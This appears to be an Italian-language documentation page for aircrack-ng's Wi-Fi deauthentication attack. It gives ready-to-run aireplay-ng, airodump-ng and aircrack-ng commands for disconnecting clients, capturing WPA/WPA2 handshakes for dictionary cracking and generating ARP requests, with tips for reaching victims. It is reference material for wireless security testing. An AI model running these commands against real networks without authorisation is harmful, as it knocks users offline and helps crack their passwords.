Deauthentication
Descrizione
Questo attacco invia pacchetti di disconnessione ad uno o piu' client associati ad un determinato access point. Disconnettere i client puo' essere utile per varie ragioni:
Recuperare un ESSID nascosto, ovvero un ESSID che non viene trasmesso in broadcast. Un altro termine per indicare questa forma di occultazione e' “cloaked”.
Catturare handshake WPA/WPA2 forzando i client alla riautenticazione.
Generare ARP request (i client Windows solitamente svuotano la cache ARP alla disconnessione).
Ovviamente quest'attacco e' inutile se non vi sono client associati o su autenticazioni fasulle (ottenute con un attacco fake authentication).
Utilizzo
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
Dove:
-0 indica l'opzione della modalita' deauthentication
1 e' il numero di pacchetti di diassociazione da inviare (e' possibile inviarne di multipli se lo si vuole); se 0, ne verranno inviati continuamente
-a 00:14:6C:7E:40:80 e' il MAC address dell'access point
-c 00:0F:B5:34:30:30 e' il MAC address del client da disconnettere; se non viene specificato un valore, verranno disconnessi tutti i client
ath0 e' l'interfaccia utilizzata per l'attacco
Esempi
Tipica Disconnessione
Per prima cosa occorre verificare che vi siano client connessi. Per il seguente comando infatti occorre conoscere un MAC address:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
Dove:
-0 indica l'opzione della modalita' deauthentication
1 e' il numero di pacchetti di diassociazione da inviare (e' possibile inviarne di multipli se lo si vuole)
-a 00:14:6C:7E:40:80 e' il MAC address dell'access point
-c 00:0F:B5:34:30:30 e' il MAC address del client da disconnettere
ath0 e' l'interfaccia utilizzata per l'attacco
Di seguito l'output del comando precedente:
11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]
Catturare un handshake WPA/WPA2 con una Atheros
airmon-ng start ath0
airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w out ath0 (su un'altra console)
aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0
(wait for a few seconds)
aircrack-ng -w /path/to/dictionary out.cap
Di seguito la spiegazione dei comandi soprastanti:
airodump-ng -c 6 –bssid 00:14:6C:7E:40:80 -w out ath0
Dove:
-c 6 e' il canale sulla quale porsi in ascolto
–bssid 00:14:6C:7E:40:80 filtra solo i pacchetti provenienti da quest'access point
-w out specifica il nome del file nel quale verranno salvati i pacchetti catturati
ath0 e' l'interfaccia utilizzata per la cattura
aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0
Dove:
-0 indica l'opzione della modalita' deauthentication
5 e' il numero di pacchetti di diassociazione da inviare
-a 00:14:6C:7E:40:80 e' il MAC address dell'access point
-c 00:0F:B5:AB:CB:9D e' il MAC address del client da disconnettere
ath0 e' l'interfaccia utilizzata per l'attacco
Di seguito l'output del comando “aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0”
12:55:56 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D]
12:55:56 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D]
12:55:57 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D]
12:55:58 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D]
12:55:58 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D]
Generazione di ARP request con una scheda Prism2
airmon-ng start wlan0
airodump-ng -c 6 -w out --bssid 00:13:10:30:24:9C wlan0 (su un'altra console)
aireplay-ng -0 10 -a 00:13:10:30:24:9C wlan0
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B wlan0
Dopo aver inviato un blocco di 10 pacchetti di disconnessione, occorre mettersi in ascolto per pacchetti ARP request utilizzando l'attacco 3. E' consigliato usare l'opzione -h specificando il MAC address di un client associato.
Se il driver utilizzato e' wlan-ng/, occorre utilizzare lo script airmon-ng altrimenti la scheda non funzionera' correttamente durante l'injection.
Suggerimenti
Solitamente e' piu' efficiente specificare un client vittima con il parametro -c.
I pacchetti di disconnessione sono inviati direttamente dal PC ai client. Cosi' occorre essere fisicamente vicini in modo tale che i client possano ricevere i pacchetti trasmessi dalla scheda wireless.
Risoluzione dei problemi
Perche' l'attacco deauthentication non funziona?
Possono esserci diversi motivi ed uno o piu' di questi potrebbero essere la causa:
Si e' fisicamente troppo lontani dal/dai client. Bisogna essere abbastanza vicini per permettere ai client di ricevere i pacchetti inviati dalla scheda. E' possibile controllare la connessione catturando pacchetti wireless completi ed aspettando gli “ACK” di ritorno. Se non vi sono “ACK” allora il/i client vittima non sta/stanno ricevendo i pacchetti.
Le schede wireless funzionano con diversi standard, come b, g, n e cosi' via. Se la scheda wireless funziona con uno standard diverso da quello utilizzato dalla scheda wireless del client vittima, ci sono buone probabilita' che quest'ultimo non sia capace di ricevere correttamente i pacchetti. Per verificare la connessione occorre nuovamente mettersi in ascolto di pacchetti “ACK”.
Molti client ignorano le disconnessioni inviate in broadcast. Per questo motivo occorre inviare i pacchetti di disconnessione direttamente ad un client specifico.
I client possono riconnettersi troppo velocemente per accorgersi dell'avvenuta disconnessione. Per confermare la disconnessione occorre mettersi in ascolto di pacchetti wireless completi ed assicurarsi di catturare quelli di riassociazione.
In generale
Note sulle prossime release o versioni SVN
Questa sezione si riferisce SOLO all'ultima versione SVN e ad alcune release candidate come prossime della suite di aircrack-ng. Una volta che queste verranno rilasciate come stabili, la documentazione soprastante verrà aggiornata.
Per disconnessioni dirette, aireplay-ng invia un totale di 128 pacchetti per ogni deauth specificata. 64 pacchetti sono inviati all'AP stesso ed altri 64 al client.
Di seguito un tipico comando:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AE:CE:9D ath0
Di seguito un tipico output:
12:35:25 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
12:35:25 Sending 64 directed DeAuth. STMAC: [00:0F:B5:AE:CE:9D] [ 61|63 ACKs]
Ed ecco il significato di “[ 61|63 ACKs]”:
[ ACKs ricevuti dal client | ACKs ricevuti dall'AP ]
Da notare che il numero presente nell'esempio e' inferiore a 64, ovvero il numero di pacchetti inviati. Non e' una cosa insolita perdere qualche pacchetto. Viceversa, se il client fosse stato attivo nella comunicazione, il contatore avrebbe potuto avere un valore maggiore di 64.
Come utilizzare questa informazione? Questo serve a confermare la qualita' della comunicazione, ovverso se client ed access point ricevono i pacchetti inviati. Un valore pari a 0 indica che ne' client ne' access point ricevono pacchetti. Un valore molto basso invece indica che ci si trova abbastanza distanti e che la potenza del segnale e' scarsa.